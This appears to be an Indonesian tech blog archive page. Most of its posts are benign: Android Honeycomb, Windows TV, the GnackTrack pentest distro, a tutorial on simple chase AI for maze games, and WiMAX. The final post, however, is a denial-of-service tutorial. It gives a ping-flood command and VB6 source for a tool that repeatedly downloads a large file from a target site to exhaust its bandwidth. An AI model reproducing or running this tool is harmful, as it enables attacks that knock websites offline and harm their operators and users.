Jumat, 07 Januari 2011

Google siapkan sistem operasi Android 3.0 untuk PC tablet

Kamis, 06 Januari 2011 Akhirnya, setelah ditunggu-tunggu kehadirannya, sistem operasi berkarnel Linux, besutan Google yang dihdirkan khusus untuk komputer jenis tablet dirilis resmi oleh Google.
Sistem operasi penerus plaftform Android bernama Google Android 3.0 Honeycomb ini akhirnya keluar untuk versi 3.0, versi yang memang dari awal disebut-sebut bakal dihadirkan untuk komputer tablet, bukan versi 2.4 penerus 2.3 Gingerbread.
Perbedan platform antara Smartphone dan Komputer tablet ternyata membuat sistem operasi Android Honeycomb keluar bertitel 3.0 bukan 2.4. Nuansa dekstop 3D tampak hadir dalam sistem operasi terbaru ini, ditambah semakin interaktif dan optimalnya berbagai fitur Android dalam sebuah komputer tablet yang canggih
Sistem operasi ini sudah di benamkan untuk beberapa komputer tablet keluaran terbaru dari berbagaivendor seperti Motorola, untuk debut bersama dengan Playbook dan juga iPad generasi baru dalam pasar komputer tablet dalam tahun 2011.
Sepertinya komputer tablet akan benar-benar lebih booming lagi ditahun 2011, dan bukan sekedar gaya hidup saja.
Untuk lebih jelasnya mengenai sistem operasi Google Android 3.0 Honeycomb, bisa melihat videonya dibawah ini

http://www.youtube.com/watch?v=M-80QD5Zjyc&feature=player_embedded
READ MORE - Google siapkan sistem operasi Android 3.0 untuk PC tablet

Microsoft Akan meluncurkan Windows TV

Cepat atau lambat komputer dan internet terintegrasi ke TV akan makin populer di era digital saat ini. Raksasa peranti lunak Microsoft pun dikabarkan tak mau ketinggalan start untuk masuk ke area bisnis tersebut.
Jelang pameran elektronika terakbar Consumer Electronics Show (CES) di Las Vegas, 6-9 Januari 2011, tersiar kabar bahwa Microsoft akan meluncurkan Windows TV. Situs web Seattle Times, Selasa (4/1/2011), melaporkan perangkat berupa set top box yang dilengkapi peranti lunak buatan Microsoft untuk mengakses layanan televisi internet akan dijual seharga 200 dollar AS.
Dilaporkan bahwa peranti lunak yang digunakan adalah versi Windows untuk embedded device yang menjalankan aplikasi Windows Media Center. Perangkat tersebut dilengkapi remote control dan kemampuan mengakses layanan streaming via internet.
Sebelumnya, Microsoft baru menggarap layanan streaming video lewat XBox 360. Kehadiran set top box khusus untuk akses video internet bakal memperketat persaingan dengan Apple yang sudah lebih dulu menyediakan Apple TV dan Google yang berencana merilis perangkat Google TV dengan menggandeng Logitech dan Sony.
READ MORE - Microsoft Akan meluncurkan Windows TV

Kamis, 06 Januari 2011

GnackTrack Distro linux rasa Backtrack dan Ubuntu

Gnacktrack merupakan sistem operasi dari turunan ubuntu dan Gnacktrack yang berguna untuk penetration test jaringan dengan menggunakan tool-tool yang terdapat pada backtrack dan dan meggunakan kernel dari ubuntu berikut tampilannya!! 

 




















hingga saat ini gnacktrack terdapat versi terbarunya yaitu versi gnacktrackR3 yang terdapat pada situs resminya yang dapat di download langsung di http://www.gnacktrack.co.uk/download.php 
ataupun link lokalnya di  http://opensource.telkomspeedy.com/yogyafree/files/GnackTrack_Final.iso
kelebihan gnacktrack sendiri ialah tampilannya yang menarik karena gabungan dari ubuntu dan mempunyai kernel yang lebih baik dari pada backtrack !!







READ MORE - GnackTrack Distro linux rasa Backtrack dan Ubuntu

Selasa, 02 November 2010

ALGORITMA AI SEDERHANA: MEMBUAT MUSUH YANG BISA MENGEJAR PEMAIN bagian 2

Pergerakan Group:

Terkadang dalam suatu game akan ada lebih dari satu musuh. Setiap musuh harus memiliki pemikiran berbeda dan memiliki kemampuan bekerja sama untuk mengejar pemain, sehingga permainan akan tampak lebih menarik.

Untuk melakukan hal ini, kita tinggal memberikan prioritas yang berbeda-beda pada masing-masing musuh maka dia dengan sendirinya akan bergerak ke arah yang berbeda.

Musuh dengan prioritas bergerak keatas akan memilih untuk bergerak keatas dulu sebelum bergerak kebawah.

Musuh dengan prioritas ke kiri akan memilih untuk bergerak kekiri sebelum bergerak ke arah yang lainnya.

Dengan memberi prioritas yang berbeda pada musuh maka musuh akan bergerak dengan arah yang berbeda untuk mengejar pemain. Hal ini membuat permainan jadi lebih menarik dan menantang serta musuh akan terlihat lebih pintar karena bisa mengejar pemain dari arah yang berbeda-beda.

Kelemahan dari Algoritma ini:
Pada kondisi tertentu, musuh akan bergerak memutar-mutar akibat dari keterbatasan memori yang dia miliki.





Karena musuh hanya punya satu memori untuk mengingat tempat terakhir yang dilewati, maka dia tidak akan tahu kalau ternyata dia hanya berputar-putar saja.


Untuk menyelesaikan permasalahan ini, kita bisa memberi memori yang lebih banyak kepada musuh.

Pada posisi diatas musuh tidak akan bergerak memutar karena dia bisa mengingat semua tempat yang telah dilewatinya.

Cara ini masih memiliki kelemahan:
1. Karena musuh bisa mengingat semua tempat yang telah dituju, maka dia akan memilih berjalan ke tempat yang belum dia lewati dan terkadang akan terlihat aneh saat musuh berjalan terlalu jauh padahal posisi pemain sangat dekat.

2. Karena musuh bisa mengingat semua tempat yang telah dilewati, maka pada posisi tertentu dia akan terjebak pada kondisi buntu dimana dia tidak bisa bergerak lagi.



Pada kondisi diatas, musuh tidak bisa bergerak ke bawah karena dia sudah melewati daerah tersebut, dan dia tidak bisa bergerak ke atas karena daerah tersebut juga sudah dilewati.

Untuk mengatasi masalah ini, kita bisa mereset memori sehingga dia bisa bergerak lagi dan pada akhirnya bisa keluar dari perputaran.

Sebenarnya masih banyak algoritma yang kita pakai untuk membuat efek yang serupa dengan yang dipakai di atas. Untuk saat ini Algoritma A* Path Find adalah yang paling bagus walaupun membutuhkan perhitungan yang panjang dan terkesan lambat.

Satu hal yang penting dalam membuat game adalah terkadang kita tidak bisa membuat game yang sempurna seperti yang kita inginkan. Namun demikian bukan berarti game kita jelek. Karena tidak ada game yang jelek kalau itu dilakukan dengan sungguh-sungguh.


 kutipan: "http://www.dream-frog.com"
READ MORE - ALGORITMA AI SEDERHANA: MEMBUAT MUSUH YANG BISA MENGEJAR PEMAIN bagian 2

ALGORITMA AI SEDERHANA: MEMBUAT MUSUH YANG BISA MENGEJAR PEMAIN bagian 1

Salah satu elemen yang membuat game menarik adalah tantangan. Tantangan bisa berupa goal, halangan atau musuh.

Dalam game Pacman misalnya, kita diberi tantangan berupa musuh yang bisa mengejar. Dalam game catur kita bisa bermain melawan komputer dan makin banyak saja game-game yang melibatkan komputer sebagai pemain bahkan dalam skala yang besar seperti pada game RTS dan game online.

Untuk menciptakan musuh yang bisa mengejar pemain seperti pada game pacman, dibutuhkan yang namanya AI atau Artificial Intelligence atau dalam bahasa Inggris disebut Kecerdasan Buatan, dalam bahasa Jawa AI bisa juga disebut dengan pinter gawean.

AI secara sederhana adalah kemampuan komputer untuk membuat pertimbangan dan mengambil keputusan. Dalam game pacman misalnya, kita bisa melihat bahwa para hantu memiliki kemampuan untuk membuat pertimbangan dan mengambil keputusan tentang langkah mana yang harus diambil agar tidak hanya bisa mengejar pacman tapi juga membuatnya terkepung. Walaupun kelihatan sederhana namun proses pembuatannya tidaklah sesederhana yang pernah anda bayangkan.

AI bukanlah hal mudah yang bisa dipelajari dalam waktu sehari atau semalam, atau bahkan sehari semalam bila digabungkanpun belum tentu cukup.

Satu hal yang perlu diingat dalam pemrograman AI adalah semakin tinggi kepandaian yang dimiliki oleh musuh/komputer, maka algoritma yang digunakan akan semakin sulit pula. Biasanya programmer pemula akan mengalami kegagalan dikarenakan mereka tidak mengetahui betapa rumitnya membuat sebuah AI bahkan yang paling sederhana sekalipun seperti pada game catur misalnya.

Disini saya berusaha menjelaskan tentang algoritma yang saya pakai pada game saya Pacmaze dan Battle City 3D (promosi mode on).

Algoritma ini hanya berlaku pada daerah yang sempit dimana satu jalur hanya bisa dilalui satu karakter saja, seperti pada game-game bertipe maze seperti pacman dan battle city. Untuk permainan dengan area yang lebar seperti pada game-game RTS maka kita akan butuh algoritma path find seperti A* Path Find atau yang lebih rumit lagi.

Pembahasan kali ini akan saya mulai dari yang paling sederhana hingga ke yang lebih rumit, dan tulisan ini juga akan saya bagi menjadi beberapa bagian seperti biasa supaya postingannya banyak dan saya bisa kejar target bulan ini :)

Algoritma I:
Algoritma ini mirip dengan algoritma yang dipakai dalam game Chips Challenge. Pada game Chips Challenge, Creature yang berbentuk kodok akan berusaha mengejar pemain. Namun kodok ini tidak terlalu pintar karena dia hanya berpikir untuk berjalan lurus saja, dan saat ada halangan dia tidak bisa apa-apa dan akhirnya dia hanya diam dan menunggu.











Pada gambar diatas, si creature tidak bisa mengejar pemain, walaupun sebenarnya dia bisa mengambil alternatif untuk bergerak ke kanan/kekiri agar bisa mengejar pemain.

Apa yang dipikirkan oleh sang kodok diatas dapat digambarkan dengan alur sebagai berikut:




Diagram diatas adalah diagaram yang paling sederhana untuk menentukan langkah musuh (kodok) untuk mengejar user. Gambar alurnya memang agak keluar dari aturan pembuatan algoritma, tapi hal ini dibuat semata-mata hanya untuk kemudahan saja.

Penjelasan alurnya sebagai berikut:
Pertama musuh akan mencari posisi pemain. Bila pemain ada di kanan maka musuh akan bergerak ke kanan. Sebelum bergerak kekanan, musuh akan mengecek dulu apakah dia bisa bergerak ke kanan atau tidak. Bila ada benda yang menghalangi misalnya tembok maka musuh tidak akan bisa bergerak kekanan dan memilih untuk diam.
[ai.png]
Bila pemain ada di sebelah kanan, musuh akan bergerak kekanan


Bila ada penghalang maka musuh tidak bisa bergerak.

Salah satu kelemahan dari algoritma ini adalah tidak ada inisiatif bagi musuh untuk mencari jalan alternatif bila ada halangan. Karena bila ada halangan maka langkah yang diambil adalah kembali lagi ke awal dan mencari posisi target. Langkah ini akan selalu diulangi sampai target berada pada posisi dimana musuh bisa mengejar.


Seharusnya musuh bisa memiliki alternatif jalan untuk mengejar pemain.

Untuk memperbaiki algoritma ini, kita butuh algoritma yang lebih rumit lagi yang mengikutkan beberapa pertimbangan tambahan.


Algoritma II (perbaikan dari algoritma 1)




































Pada algoritma diatas, alur pikiran dari musuh dibuat lebih rumit dengan memperbaiki struktur otaknya dan memberikan dua upgrade kemampuan sbb:

Pertama musuh akan diberi memori sehingga dia bisa mengingat langkah terakhir yang dia ambil. Kita bisa menentukan berapa banyak memori yang dimiliki oleh musuh. Apakah dia hanya bisa mengingat tempat terakhir yang dia lalui, ataukah dia bisa mengingat hingga lima posisi.

Sebenarnya satu posisi saja sudah cukup. Tujuan dari memori ini adalah untuk menghindari musuh bergerak ke tempat yang sama berkali-kali sehingga menimbulkan kesan musuh hanya berputar-putar saja. Musuh dilarang untuk berjalan ke tempat yang sudah dia lewati sebelumnya. Informasi tentang tempat yang sudah dia lewati disimpan dalam memorinya yang terbatas.

Kedua musuh akan diberi tambahan inisiatif untuk berjalan ke arah tertentu bila dia tidak bisa mengejar pemain. Setiap musuh memiliki prioritas arah sendiri-sendiri. Pada alur diatas, musuh memiliki prioritas untuk bergerak ke arah kanan terlebih dahulu, baru bergerak ke arah kiri, ke atas dan ke bawah.

Dengan adanya pilihan untuk bergerak ke arah tertentu bila dia tidak bisa mengejar pemain, maka musuh akan terlihat lebih pintar.

Contoh Kasus

 
Pada posisi pertama musuh tidak bisa mengejar pemain karena dihalangi oleh tembok. Musuh akan memilih bergerak kekanan sesuai dengan prioritas yang dimiliki.

Saat berada pada posisi kedua, musuh akan bergerak keatas karena posisi pemain berada di atas.Walaupun sebenarnya pada saat ini dia bisa memilih bergerak kekiri karena posisi pemain juga berada di sebelah kiri tapi dia tidak bisa melakukannya karena dia tidak bisa melewati tempat yang sama dua kali.

Pada posisi tiga, musuh memiliki pilihan untuk bergerak ke atas karena posisi pemain berada diatasnya, tapi dia juga bisa bergerak kekiri karena posisi pemain berada dikiri. Pada situasi ini, musuh akan bergerak kekiri karena dia memiliki prioritas lebih tinggi untuk berjalan kekiri dari pada berjalan ke atas.

Pada posisi empat, musuh akan langsung bergerak ke atas karena pemain berada di atas dan semua kondisi memungkinkan dia untuk bergerak keatas, dan akhirnya dia bisa mengejar pemain.

Algoritma ini menurut saya lebih baik dari yang pertama, dan bisa dikembangkan lagi ke algoritma untuk pergerakan group yang akan saya tulis pada artikel selanjutnya.
READ MORE - ALGORITMA AI SEDERHANA: MEMBUAT MUSUH YANG BISA MENGEJAR PEMAIN bagian 1

Sabtu, 16 Oktober 2010

8 teknologi terbaru 2010

Dunia teknologi merupakan dunia yang paling cepat berubah, perusahaan riset ternama Gartner akan memprediksi 8 teknologi seluler canggih yang akan hadir pada tahun ini sampai tahun 2010 yang akan datang.
“Strategi seluler akan sangat dipengaruhi pada evolusi teknologi yang ada pada tahun tersebut. Sehingga sangat penting untuk bisa mengidentifikasi teknologi yang muncul tahun ini,” ujar analis senior Gartner Nick Jones, seperti dikutip melalui Cellular News.
Menurut Jonnes, delapan teknologi canggih yang diprediksi akan ‘booming’ ini dipercaya dapat memberikan efek yang luas di industri seluler. Ke-8 teknologi tersebut adalah,
1. Bluetooth 3.0, fitur sensor dengan konsumsi tenaga yang super rendah yang dapat mensupport teknologi nirkabel seperti Bluetooth, wi-fi dan ultrawideband.
2. Mobile User Interfaces (UIs) yang akan berpengaruh pada keseluruhan cara penggunaan perangkat seluler dan teknologi yang mensupportnya.
3. Location Sensing yang akan membuat perangkat menjadi lebih powerful dan useful. Bahkan di masa depan, teknologi sensor lokasi akan menjadi komponen penting dalam aplikasi kontekstual.
4. 802.11n yang akan membuat kecepatan data menjadi berlipat ganda, antara 100 Mbps hingga 300 Mbps dan akan mengcover wilayah cakupan dengan lebih baik.
5. Display Technology, berpengaruh pada tampilan piksel aktif, passive display (e-book reader) dan pico projector.
6. Mobile Web dan Widgets (aplikasi mobile web mini), yang memungkinkan komunikasi aplikasi seluler antarperangkat.
7. Broadband Cellular (HSPA) yang memungkinkan teknologi layanan yang lebih luas dibanding wi-fi.
8. Near Field Communication (NFC), yang mampu menyediakan aplikasi komunikasi antarperangkat yang lebih mudah dan aman dalam jarak yang dekat. Biasanya digunakan untuk metode pembayaran elektronik.
Sumber by: http://www.teknologinet.com
READ MORE - 8 teknologi terbaru 2010

TEKNOLOGI WiMAX

  WiMAX adalah singkatan dari Worldwide Interoperability for Microwave Access, merupakan teknologi akses nirkabel pita lebar (broadband wireless access atau disingkat BWA) yang memiliki kecepatan akses yang tinggi dengan jangkauan yang luas. WiMAX merupakan evolusi dari teknologi BWA sebelumnya dengan fitur-fitur yang lebih menarik. Disamping kecepatan data yang tinggi mampu diberikan, WiMAX juga merupakan teknologi dengan open standar. Dalam arti komunikasi perangkat WiMAX diantara beberapa vendor yang berbeda tetap dapat dilakukan (tidak proprietary). Dengan kecepatan data yang besar (sampai 70 MBps), WiMAX dapat diaplikasikan untuk koneksi broadband ‘last mile’, ataupun backhaul.

Perkembangan Teknologi Wireless

Wi Max Standar BWA yang saat ini umum diterima dan secara luas digunakan adalah standar yang dikeluarkan oleh Institute of Electrical and Electronics Engineering (IEEE), seperti standar 802.15 untuk Personal Area Network (PAN), 802.11 untuk jaringan Wireless Fidelity (WiFi), dan 802.16 untuk jaringan Worldwide Interoperability for Microwave Access (WiMAX).
Pada jaringan selular juga telah dikembangkan teknologi yang dapat mengalirkan data yang overlay dengan jaringan suara seperti GPRS, EDGE, WCDMA, dan HSDPA. Masing-masing evolusi pada umumnya mengarah pada kemampuan menyediakan berbagai layanan baru atau mengarah pada layanan yang mampu menyalurkan voice, video dan data secara bersamaan (triple play). Sehingga strategi pengembangan layanan broadband wireless dibedakan menjadi Mobile Network Operator (MNO) dan Broadband Provider (BP). Perbandingan beberapa karakteristik sistem wireless data berkecepatan tinggi digambarkan oleh First Boston seperti berikut.
Perbandingan Perkembangan Teknologi Wireless

WiFi 802.11g WiMAX 802.16-2004* WiMAX 802.16e CDMA2000 1x EV-DO WCDMA/ UMTS
Approximate max reach (dependent on many factors) 100 Meters 8 Km 5 Km * *
Maximum throughput 54 Mbps 75 Mbps (20 MHz band) 30 Mbps (10 MHz band) 3.1 Mbps (EVDO Rev. A) 2 Mbps (10+ Mbps fpr HSDPA)
Typical Frequency bands 2.4 GHz 2-11 GHz 2-6 GHz 1900 MHz 1800,1900,2100 MHz
Application Wireless LAN Fixed Wireless Broadband (eg-DSL alternative) Portable Wireless Broadband Mobile Wireless Broadband Mobile Wireless Broadband

Sekilas Tentang WiMAX

WiMAX (Worldwide Interoperability for Microwave Access) adalah sebuah tanda sertifikasi untuk produk-produk yang lulus tes cocok dan sesuai dengan standar IEEE 802.16. WiMAX merupakan teknologi nirkabel yang menyediakan hubungan jalur lebar dalam jarak jauh. WiMAX merupakan teknologi broadband yang memiliki kecepatan akses yang tinggi dan jangkauan yang luas. WiMAX merupakan evolusi dari teknologi BWA sebelumnya dengan fitur-fitur yang lebih menarik. Disamping kecepatan data yang tinggi mampu diberikan, WiMAX juga membawa isu open standar. Dalam arti komunikasi perangkat WiMAX diantara beberapa vendor yang berbeda tetap dapat dilakukan (tidak proprietary). Dengan kecepatan data yang besar (sampai 70 MBps), WiMAX layak diaplikasikan untuk ‘last mile’ broadband connections, backhaul, dan high speed enterprise.
Yang membedakan WiMAX dengan Wi-Fi adalah standar teknis yang bergabung di dalamnya. Jika WiFi menggabungkan standar IEEE 802.11 dengan ETSI (European Telecommunications Standards Intitute) HiperLAN sebagai standar teknis yang cocok untuk keperluan WLAN, sedangkan WiMAX merupakan penggabungan antara standar IEEE 802.16 dengan standar ETSI HiperMAN.
Standar keluaran IEEE banyak digunakan secara luas di daerah asalnya, Amerika, sedangkan standar keluaran ETSI meluas penggunaannya di daerah Eropa dan sekitarnya. Untuk membuat teknologi ini dapat digunakan secara global, maka diciptakanlah WiMAX. Kedua standar yang disatukan ini merupakan standar teknis yang memiliki spesifikasi yang sangat cocok untuk menyediakan koneksi berjenis broadband lewat media wireless atau dikenal dengan BWA.

Spektrum Frekuensi WiMAX

Sebagai teknologi yang berbasis pada frekuensi, kesuksesan WiMAX sangat bergantung pada ketersediaan dan kesesuaian spektrum frekuensi. Sistem wireless mengenal dua jenis band frekuensi yaitu Licensed Band dan Unlicensed Band. Licensed band membutuhkan lisensi atau otoritas dari regulator, yang mana operator yang memperoleh licensed band diberikan hak eksklusif untuk menyelenggarakan layanan dalam suatu area tertentu. Sementara Unlicensed Band yang tidak membutuhkan lisensi dalam penggunaannya memungkinkan setiap orang menggunakan frekuensi secara bebas di semua area.
WiMAX Forum menetapkan 2 band frekuensi utama pada certication profile untuk Fixed WiMAX (band 3.5 GHz dan 5.8 GHz), sementara untuk Mobile WiMAX ditetapkan 4 band frekuensi pada system profile release-1, yaitu band 2.3 GHz, 2.5 GHz, 3.3 GHz dan 3.5 GHz.
Secara umum terdapat beberapa alternatif frekuensi untuk teknologi WiMAX sesuai dengan peta frekuensi dunia. Dari alternatif tersebut band frekuensi 3,5 GHz menjadi frekuensi mayoritas Fixed WiMAX di beberapa negara, terutama untuk negara-negara di Eropa, Canada, Timur-Tengah, Australia dan sebagian Asia. Sementara frekuensi yang mayoritas digunakan untuk Mobile WiMAX adalah 2,5 GHz.
Isu frekuensi Fixed WiMAX di band 3,3 GHz ternyata hanya muncul di negara-negara Asia. Hal ini terkait dengan penggunaan band 3,5 GHz untuk komunikasi satelit, demikian juga dengan di Indonesia. Band 3,5 GHz di Indonesia digunakan oleh satelit Telkom dan PSN untuk memberikan layanan IDR dan broadcast TV. Dengan demikian penggunaan secara bersama antara satelit dan wireless terrestrial (BWA) di frekuensi 3,5 GHz akan menimbulkan potensi interferensi terutama di sisi satelit.

Elemen Perangkat WiMAX

Elemen/ perangkat WiMAX secara umum terdiri dari BS di sisi pusat dan CPE di sisi pelanggan. Namun demikian masih ada perangkat tambahan seperti antena, kabel dan asesoris lainnya.

Base Station (BS)

Merupakan perangkat transceiver (transmitter dan receiver) yang biasanya dipasang satu lokasi (colocated) dengan jaringan Internet Protocol (IP). Dari BS ini akan disambungkan ke beberapa CPE dengan media interface gelombang radio (RF) yang mengikuti standar WiMAX. Komponen BS terdiri dari:
  • NPU (networking processing unit card)
  • AU (access unit card)up to 6 +1
  • PIU (power interface unit) 1+1
  • AVU (air ventilation unit)
  • PSU (power supply unit) 3+1

Antena

Antena yang dipakai di BS dapat berupa sektor 60°, 90°, atau 120° tergantung dari area yang akan dilayani.

Subscriber Station (SS)

Secara umum Subscriber Station (SS) atau (Customer Premises Equipment) CPE terdiri dari Outdoor Unit (ODU) dan Indoor Unit (IDU), perangkat radionya ada yang terpisah dan ada yang terintegrasi dengan antena.

Teknologi WiMAX dan Layanannya

BWA WiMAX adalah standards-based technology yang memungkinkan penyaluran akses broadband melalui penggunaan wireless sebagai komplemen wireline. WiMAX menyediakan akses last mile secara fixed, nomadic, portable dan mobile tanpa syarat LOS (NLOS) antara user dan base station. WiMAX juga merupakan sistem BWA yang memiliki kemampuan interoperabilty antar perangkat yang berbeda. WiMAX dirancang untuk dapat memberikan layanan Point to Multipoint (PMP) maupun Point to Point (PTP). Dengan kemampuan pengiriman data hingga 10 Mbps/user.
Pengembangan WiMAX berada dalam range kemampuan yang cukup lebar. Fixed WiMAX pada prinsipnya dikembangkan dari sistem WiFi, sehingga keterbatasan WiFi dapat dilengkapi melalui sistem ini, terutama dalam hal coverage/jarak, kualitas dan garansi layanan (QoS). Sementara itu Mobile WiMAX dikembangkan untuk dapat mengimbangi teknologi selular seperti GSM, CDMA 2000 maupun 3G. Keunggulan Mobile WiMAX terdapat pada konfigurasi sistem yang jauh lebih sederhana serta kemampuan pengiriman data yang lebih tinggi. Oleh karena itu sistem WiMAX sangat mungkin dan mudah diselenggarakan oleh operator baru atau pun service provider skala kecil.

Tinjauan Teknologi

WiMax adalah istilah yang digunakan untuk menggambarkan standar dan implementasi yang mampu beroperasi berdasarkan jaringan nirkabel IEEE 802.16, seperti WiFi yang beroperasi berdasarkan standar Wireless LAN IEEE802.11. Namun, dalam implementasinya WiMax sangat berbeda dengan WiFi.
Pada WiFi, sebagaimana OSI Layer, adalah standar pada lapis kedua, dimana Media Access Control (MAC) menggunakan metode akses kompetisi, yaitu dimana beberapa terminal secara bersamaan memperebutkan akses. Sedangkan MAC pada WiMax menggunakan metode akses yang berbasis algoritma penjadualan (scheduling algorithm). Dengan metode akses kompetisi, maka layanan seperti Voice over IP atau IPTV yang tergantung kepada Kualitas Layanan (Quality of Service) yang stabil menjadi kurang baik. Sedangkan pada WiMax, dimana digunakan algoritma penjadualan, maka bila setelah sebuah terminal mendapat garansi untuk memperoleh sejumlah sumber daya (seperti timeslot), maka jaringan nirkabel akan terus memberikan sumber daya ini selama terminal membutuhkannya.
Standar WiMax pada awalnya dirancang untuk rentang frekuensi 10 s.d. 66 GHz. 802.16a, diperbaharui pada 2004 menjadi 802.16-2004 (dikenal juga dengan 802.16d) menambahkan rentang frekuensi 2 s.d. 11 GHz dalam spesifikasi. 802.16d dikenal juga dengan fixed WiMax, diperbaharui lagi menjadi 802.16e pada tahun 2005 (yang dikenal dengan mobile WiMax) dan menggunakan orthogonal frequency-division multiplexing (OFDM) yang lebih memiliki skalabilitas dibandingkan dengan standar 802.16d yang menggunakan OFDM 256 sub-carriers. Penggunaan OFDM yang baru ini memberikan keuntungan dalam hal cakupang, instalasi, konsumsi daya, penggunaan frekuensi dan efisiensi pita frekuensi. WiMax yang menggunakan standar 802.16e memiliki kemampuan hand over atau hand off, sebagaimana layaknya pada komunikasi selular.
Banyaknya institusi yang tertarik atas standar 802.16d dan .16e karena standar ini menggunakan frekuensi yang lebih rendah sehingga lebih baik terhadap redaman dan dengan demikian memiliki daya penetrasi yang lebih baik di dalam gedung. Pada saat ini, sudah ada jaringan yang secara komersial menggunakan perangkat WiMax bersertifikasi sesuai dengan standar 802.162.
Spesifikasi WiMax membawa perbaikan atas keterbatasan-keterbatasan standar WiFi dengan memberikan lebar pita yang lebih besar dan enkripsi yang lebih bagus. Standar WiMax memberikan koneksi tanpa memerlukan Line of Sight (LOS) dalam situasi tertentu. Propagasi Non LOS memerlukan standar .16d atau revisi 16.e, karena diperlukan frekuensi yang lebih rendah. Juga, perlu digunakan sinyal muli-jalur (multi-path signals), sebagaimana standar 802.16n.

Manfaat Membangun Jaringan LAN (Local Area Network)

Banyak keuntungan yang didapatkan dari terciptanya standardisasi industri ini. Para operator telekomunikasi dapat menghemat investasi perangkat, karena kemampuan WiMAX dapat melayani pelanggannya dengan area yang lebih luas dan tingkat kompatibilitas lebih tinggi. Selain itu, pasarnya juga lebih meluas karena WiMAX dapat mengisi celah broadband yang selama ini tidak terjangkau oleh teknologi Cable dan DSL (Digital Subscriber Line).
WiMAX salah satu teknologi memudahkan mereka mendapatkan koneksi Internet yang berkualitas dan melakukan aktivitas. Sementara media wireless selama ini sudah terkenal sebagai media yang paling ekonomis dalam mendapatkan koneksi Internet. Area coverage-nya sejauh 50 km maksimal dan kemampuannya menghantarkan data dengan transfer rate yang tinggi dalam jarak jauh, sehingga memberikan kontribusi sangat besar bagi keberadaan wireless MAN dan dapat menutup semua celah broadband yang ada saat ini. Dari segi kondisi saat proses komunikasinya, teknologi WiMAX dapat melayani para subscriber, baik yang berada dalam posisi Line Of Sight (posisi perangkat-perangkat yang ingin berkomunikasi masih berada dalam jarak pandang yang lurus dan bebas dari penghalang apa pun di depannya) dengan BTS maupun yang tidak memungkinkan untuk itu (Non-Line Of Sight). Jadi di mana pun para penggunanya berada, selama masih masuk dalam area coverage sebuah BTS (Base Transceiver Stations), mereka mungkin masih dapat menikmati koneksi yang dihantarkan oleh BTS tersebut.
Selain itu, dapat melayani baik para pengguna dengan antena tetap (fixed wireless) misalnya di gedung-gedung perkantoran, rumah tinggal, toko-toko, dan sebagainya, maupun yang sering berpindah-pindah tempat atau perangkat mobile lainnya. Mereka bisa merasakan nikmatnya ber-Internet broadband lewat media ini. Sementara range spektrum frekuensi yang tergolong lebar, maka para pengguna tetap dapat terkoneksi dengan BTS selama mereka berada dalam range frekuensi operasi dari BTS.
Sistem kerja MAC-nya (Media Access Control) yang ada pada Data Link Layer adalah connection oriented, sehingga memungkinkan penggunanya melakukan komunikasi berbentuk video dan suara. Siapa yang tidak mau, ber-Internet murah, mudah, dan nyaman dengan kualitas broadband tanpa harus repot-repot. Anda tinggal memasang PCI card yang kompatibel dengan standar WiMAX, atau tinggal membeli PCMCIA (Personal Computer Memory Card International Association) yang telah mendukung komunikasi dengan WiMAX. Atau mungkin Anda tinggal membeli antena portabel dengan interface ethernet yang bisa dibawa ke mana-mana untuk mendapatkan koneksi Internet dari BTS untuk fixed wireless.
sumber: http://luliipop.student.umm.ac.id
READ MORE - TEKNOLOGI WiMAX

Teknik Mudah DOS Pada Website

Teknik DOS disini maksudnya yaitu untuk melumpuhkan suatu server/website dengan cara menghabiskan bandwitdh dari website tersebut. Ada beberapa cara untuk DDOS, misalnya paling gampang dengan menggunakan perintah "ping", misalnya seperti : "ping -l 65500 - t www.target.com". Dari perintah "ping" tersebut kita mengirim paket sebesar 65500 bytes ke server dan nilai tersebut merupakan nilai maksimum yang dapat kita kirim. Meskipun perintah tersebut menggunakan paramameter "-t" yang berarti perintah "ping" akan dilakukan terus menerus ke "www.target.com", tetapi sepertinya butuh ratusan/ribuan komputer yang diperlukan untuk menjalani perintah "ping" ini seharian sehingga bandwidth dari si server habis.

Oleh karena hanya "65500", maka saya mikir bagaimana ya cara cepat menyedot bandwitdh dari si server. Berhubung perintah "ping" ga bisa, saya coba liat2 VB6, yup ada perintah : "Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long".

Setelah mencoba2, perintah tersebut dapat mendownload satu halaman/file dan mengsave file tsb ke harddisk. Wah klo file yang berukuran gede didownload make looping kayaknya bakalan nyedot bandwidth si server banyak tuh

Dengan konsep tersebut, yuk mari yuk mulai coding make VB6.. pake apa aja bisa kok soalnya kodenya sederhana

Yang diperlukan :
- l textBox => Text1
- 2 button, => Command1 dan Command2
- 1 timer => Timer1
- tambah sendiri yang lain

Kode-kode (taruh di form):

'----------START----------START----------
'fungsi buat mendownload file
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'fungsi untuk mendapatkan folder temporary
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

'Saat program dijalankan make sure nothing happen
Private Sub Form_Load()
Timer1.Enabled = False
End Sub

'fungsi untuk menggenerate tulisan menjadi acak
Public Function Random(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Random = Int((High - Low + 1) * Rnd) + Low
End Function

'fungsi untuk mendapatkan folder temporary
Public Function GetTempDir() As String
Dim buff As String
buff = String(255, Chr$(0))
GetTempPath Len(buff), buff
GetTempDir = Left(buff, InStr(1, buff, Chr(0), vbTextCompare) - 1)
End Function

'inti dari program untuk melakukan DDOS
Private Sub Timer1_Timer()
Dim fileName As String
Dim DDOS
'membuat nama acak sebagai nama file yang akan disave
fileName = GetTempDir & Random(0, 999999999)
'mulai mendownload file yang terdapat pada Text1 dan mengsavenya
DDOS = URLDownloadToFile(0, Text1.text, fileName 0, 0)

'tombol untuk memulai DDOS
Private Sub Command1_Click()
Timer1.Enabled = True 'hidupkan timer buat looping
Timer1.Interval = 1000 'set setiap 1 detik program mendownload file dari server
Command2.Enabled = True
Command1.Enabled = False
End Sub

'stop semua actions
Private Sub Command2_Click()
Timer1.Enabled = False
Command1.Enabled = True
Command2.Enabled = False
End Sub
'----------END----------END----------

